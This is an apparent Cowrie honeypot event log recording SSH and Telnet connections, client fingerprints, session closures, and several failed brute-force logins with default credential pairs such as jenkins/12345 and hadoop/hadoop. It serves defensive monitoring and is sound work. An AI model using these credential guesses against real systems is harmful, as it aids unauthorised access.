{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":33028,"dst_ip":"10.17.0.5","dst_port":22,"session":"26ab229b2a38","protocol":"ssh","message":"New connection: 176.65.139.103:33028 (10.17.0.5:22) [session: 26ab229b2a38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:18.461417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:18.467161Z","src_ip":"176.65.139.103","session":"26ab229b2a38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:18.545778Z","src_ip":"176.65.139.103","session":"26ab229b2a38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:18.867378Z","src_ip":"176.65.139.103","session":"26ab229b2a38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.819921016693115,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:18.943275Z","src_ip":"185.111.235.80","session":"75bb0171d025","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43156,"dst_ip":"159.203.135.109","dst_port":22,"session":"9161bb03e470","protocol":"ssh","message":"New connection: 159.203.92.129:43156 (159.203.135.109:22) [session: 9161bb03e470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:19.041230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:19.045975Z","src_ip":"159.203.92.129","session":"9161bb03e470","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:19.055724Z","src_ip":"159.203.92.129","session":"9161bb03e470","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"1qaz@WSX","message":"login attempt [ansible/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:19.067797Z","src_ip":"159.203.92.129","session":"9161bb03e470","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":59026,"dst_ip":"10.17.0.5","dst_port":23,"session":"56e20e1d65fa","protocol":"telnet","message":"New connection: 185.111.235.80:59026 (10.17.0.5:23) [session: 56e20e1d65fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:19.110970Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":45380,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed1dc87b1da8","protocol":"telnet","message":"New connection: 108.61.242.114:45380 (10.17.0.5:23) [session: ed1dc87b1da8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:19.474022Z"}
{"eventid":"cowrie.session.closed","duration":30.422455549240112,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:19.959299Z","src_ip":"185.111.235.80","session":"fbcc1107ab69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:19.965238Z","src_ip":"176.65.139.103","session":"26ab229b2a38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:20.074897Z","src_ip":"159.203.92.129","session":"9161bb03e470","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.08094882965088,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:20.366969Z","src_ip":"108.61.242.114","session":"dd1a9b29f2ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.567041873931885,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:21.881746Z","src_ip":"108.61.242.114","session":"d9660085cd37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":53886,"dst_ip":"10.17.0.5","dst_port":23,"session":"b001bf5bcea1","protocol":"telnet","message":"New connection: 185.111.235.80:53886 (10.17.0.5:23) [session: b001bf5bcea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:22.141704Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":45394,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2d68cf99f51","protocol":"telnet","message":"New connection: 108.61.242.114:45394 (10.17.0.5:23) [session: c2d68cf99f51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:22.907322Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":45398,"dst_ip":"10.17.0.5","dst_port":23,"session":"532eaf327a3e","protocol":"telnet","message":"New connection: 108.61.242.114:45398 (10.17.0.5:23) [session: 532eaf327a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:23.489348Z"}
{"eventid":"cowrie.session.closed","duration":30.50585436820984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:24.036865Z","src_ip":"108.61.242.114","session":"8952a848222d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":45404,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c14e10bd954","protocol":"telnet","message":"New connection: 108.61.242.114:45404 (10.17.0.5:23) [session: 2c14e10bd954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:25.192879Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":59122,"dst_ip":"10.17.0.5","dst_port":23,"session":"af478cfb8cd3","protocol":"telnet","message":"New connection: 185.111.235.80:59122 (10.17.0.5:23) [session: af478cfb8cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:25.242429Z"}
{"eventid":"cowrie.session.closed","duration":31.066524267196655,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:26.236553Z","src_ip":"185.111.235.80","session":"a9f89c9a378c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":58034,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a59a2c22fe9","protocol":"ssh","message":"New connection: 176.65.139.103:58034 (10.17.0.5:22) [session: 6a59a2c22fe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:26.500380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:26.597512Z","src_ip":"176.65.139.103","session":"6a59a2c22fe9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:26.604297Z","src_ip":"176.65.139.103","session":"6a59a2c22fe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.22663950920105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:26.790666Z","src_ip":"108.61.242.114","session":"f138794e45ed","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"12345","message":"login attempt [jenkins/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:27.009522Z","src_ip":"176.65.139.103","session":"6a59a2c22fe9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":45412,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdc2684848cf","protocol":"telnet","message":"New connection: 108.61.242.114:45412 (10.17.0.5:23) [session: fdc2684848cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:27.286816Z"}
{"eventid":"cowrie.session.closed","duration":30.96874690055847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:27.877680Z","src_ip":"108.61.242.114","session":"7dc8dc2cb89a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.311402320861816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:27.882409Z","src_ip":"185.111.235.80","session":"a51399837c5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76827907562256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:28.105361Z","src_ip":"185.111.235.80","session":"94a1359b8585","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:28.123452Z","src_ip":"176.65.139.103","session":"6a59a2c22fe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.814131498336792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:29.299538Z","src_ip":"185.111.235.80","session":"caa8a8bfb9bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.16868233680725,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:32.100324Z","src_ip":"108.61.242.114","session":"70091b75d938","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.291507959365845,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:32.235022Z","src_ip":"108.61.242.114","session":"46f2960824ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":38678,"dst_ip":"10.17.0.5","dst_port":23,"session":"26a134a482b7","protocol":"telnet","message":"New connection: 108.61.242.114:38678 (10.17.0.5:23) [session: 26a134a482b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:32.355485Z"}
{"eventid":"cowrie.session.closed","duration":31.010091066360474,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:32.946937Z","src_ip":"108.61.242.114","session":"4bc4846df2c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":38682,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebe301fe7e8a","protocol":"telnet","message":"New connection: 108.61.242.114:38682 (10.17.0.5:23) [session: ebe301fe7e8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:33.602879Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":38694,"dst_ip":"10.17.0.5","dst_port":23,"session":"2aff9edc84ce","protocol":"telnet","message":"New connection: 108.61.242.114:38694 (10.17.0.5:23) [session: 2aff9edc84ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:33.971598Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":38448,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0d783b3bd30","protocol":"ssh","message":"New connection: 176.65.139.103:38448 (10.17.0.5:22) [session: b0d783b3bd30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:34.583696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:34.596411Z","src_ip":"176.65.139.103","session":"b0d783b3bd30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:34.671576Z","src_ip":"176.65.139.103","session":"b0d783b3bd30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.834234714508057,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:34.925663Z","src_ip":"185.111.235.80","session":"091113e4164b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:35.023579Z","src_ip":"176.65.139.103","session":"b0d783b3bd30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:36.167120Z","src_ip":"176.65.139.103","session":"b0d783b3bd30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.130847215652466,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:38.048973Z","src_ip":"108.61.242.114","session":"72bf78ec87aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.198033571243286,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:38.095408Z","src_ip":"108.61.242.114","session":"eb3763f2620c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.280455112457275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:38.173356Z","src_ip":"108.61.242.114","session":"5335f2b80ce5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.017004013061523,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:38.905734Z","src_ip":"108.61.242.114","session":"1467784f3d61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.97427725791931,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:39.180587Z","src_ip":"185.111.235.80","session":"53debc89b23e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":44968,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a1ea7ad77a9","protocol":"telnet","message":"New connection: 185.111.235.80:44968 (10.17.0.5:23) [session: 0a1ea7ad77a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:39.839972Z"}
{"eventid":"cowrie.session.closed","duration":30.185316562652588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:40.156889Z","src_ip":"108.61.242.114","session":"58200a18205e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.040386199951172,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:40.243328Z","src_ip":"108.61.242.114","session":"87d801d2ea40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.495399475097656,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:40.597308Z","src_ip":"185.111.235.80","session":"2fa208b47a4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":38464,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ceb097b094d","protocol":"ssh","message":"New connection: 176.65.139.103:38464 (10.17.0.5:22) [session: 8ceb097b094d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:42.354455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:42.360007Z","src_ip":"176.65.139.103","session":"8ceb097b094d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:30:42.471606Z","src_ip":"176.65.139.103","session":"8ceb097b094d","protocol":"ssh"}
